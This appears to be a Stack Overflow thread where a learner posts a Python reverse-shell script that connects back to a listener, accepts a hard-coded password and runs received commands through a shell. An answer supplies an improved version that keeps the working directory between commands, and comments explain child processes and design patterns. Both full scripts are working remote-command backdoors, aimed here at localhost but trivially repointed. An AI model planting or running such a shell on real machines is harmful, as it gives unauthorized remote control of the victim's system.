1

Below you can see a Python Script which establishes a connection to my machine on port 1234. Using Netcat I can listen on that port and then perform actions on my machine using the terminal (I know that this is trivial, but its just for practicing).

Now the problem is that the commands like "ls, mkdir, pwd, rm or even "ls /root/Desktop/" are working, but however "cd /root/Desktop" or "cd .." are not working, which is actually really bad. Typing in "cd .." is not returning any error message, but its also not changing the directory. I can not leave my python directory.

Here is the script:

#! /usr/bin/python
import socket
import subprocess

host = "localhost"
port = 1234
passwd = "hacking"


def login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        login()
    else:
        s.send("Connected #> ")
        shell()

def shell():
    while True:
        data = s.recv(1024)

        if data.strip() == ":kill":
              break

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()

I got it from here .

Can anyone help me out? Any idea why I cannot leave the directory? Thanks in advance!

Benjamin
  • 137
  • 1
  • 6

1 Answers1

2

It actually works fine. what if you tried this in a single command: cd /other/directory; ls. You'll see that the directory did in fact "change" for the duration of that command. Every new command will gets a fresh environment (so back to the same original directory). If you really want to change the "server context" in between commands then you need to do that in python. Below is a dirty example added onto the code you provided:

#! /usr/bin/python
import socket
import subprocess
import os

host = "localhost"
port = 12345
passwd = "hacking"


def login():
    global s
    s.send("Login: ")
    pwd = s.recv(1024)

    if pwd.strip() != passwd:
        login()
    else:
        s.send("Connected #> ")
        shell()

def shell():
    while True:
        data = s.recv(1024).strip()

        if data == ":kill":
              break

        try:
            cmd, params = data.split(" ", 1)
            if cmd == ":chdir":
                os.chdir(params)
                print "chdir to %s" % (params)
                s.send("#> ")
                continue
        except:
            pass

        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        output = proc.stdout.read() + proc.stderr.read()
        s.send(output)
        s.send("#> ")



s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
login()

Same idea as your ":kill" command, if the script see's a ":chdir /new/directory" then python executes the chdir function, otherwise pass it on to Popen.

smassey
  • 5,875
  • 24
  • 37
  • Hello smassey, thank you very much! I actually changed **if cmd == ":chdir":** to **if cmd == "cd":** , now its working exactly as I wished! One question: I am actually new to Python (working for one month with Python now). I didn't know about the os module. So in the future if I want to add some functionality, what is the best way to fine the "right" module? Always asking in forums doesn't seem like the best way in order to get better – Benjamin Oct 30 '17 at 16:53
  • Hi @Benjamin it's unfortunately not so straight forward. Although it may seem daunting at first, the standard library is definitely the starting point: https://docs.python.org/2/library/index.html This is something you don't need to know in detail (every parameter of every function) but at least knowing the modules available and their general purpose. Each module there has it's own purpose which you will probably need someday. Great start after only a month and interesting to see this script (I started my journey almost a decade ago in the exact same way: "offensive python" ;) – smassey Oct 30 '17 at 19:26
  • Hello smassey, the standard library is huge! Thanks anyways, I will try to start from there and especially figure out the interesting modules for me. Thank you very much :). Yesterday I went trough the code again and another question raised: Its easy to see the purpose of **os.chdir()** , but I don't understand why and how this actually works with the terminal the attacker is using. Why using **os.chdir()** is affecting the current directory the attacker is using? Does my question make sense for you? Again, thank you very much :) – Benjamin Oct 31 '17 at 13:07
  • 1
    I understand question and it doesn't need to be complicated: when you start your server in directory X, then that becomes the "working directory" of the server. The server is a single isolated process. When you use Popen() you're in fact creating/spawning new processes. These processes inherit from the parent (server) process so by default they'll have the same working directory. When you run `cd /; ls` then the spawned process (the one created by Popen()) does in fact change directories but that does not change the state of the parent process, the server. os.chdir updates the servers context. – smassey Oct 31 '17 at 13:18
  • 1
    So after the child process dies/finishes, it's entire context is lost, including its current "working directory". That's why a simple `cd /` changes nothing for the server and `cd /; ls` works but only in the child. The `cd /` was handled by the child process and not the server. Does that make more sense now? – smassey Oct 31 '17 at 13:22
  • Yes, that does make sense. In your answer above you called your solution "a dirty method". Why is that so? :). Thank you very much! – Benjamin Nov 01 '17 at 12:27
  • 2 reasons: Scale and the Pokemon exception. This solution would never scale, for example, imagine if you wanted to add dozens or hundreds of commands like the `kill` or `cd`. It would become a mess very quickly. There are many good design patterns that could help. Secondly, the pokemon ("Catch 'em all") exception handler here simply ignores the errors, effectively hiding them. Some of these error you would probably want to catch and handle: what if there was a permissions error? an unknown path/folder error? This piece of code may get the job done for now, but it's suboptimal / dirty. – smassey Nov 01 '17 at 13:29
  • Thank you very much, this information was very useful for a beginner like me :) You have any tip where I can read about these "good design patterns"? I have no idea how I could to this in a way where there wouldn't be any scaling problems. – Benjamin Nov 02 '17 at 18:00
  • 1
    I won't link to any PDF of it as I'm assuming that that would be against the SO rules, but try finding the "Elements of Reusable Object-Oriented Software" from the "Gang of 4". It's the book seen here: https://en.wikipedia.org/wiki/Design_Patterns . By far the best starting place. Best of luck – smassey Nov 02 '17 at 18:07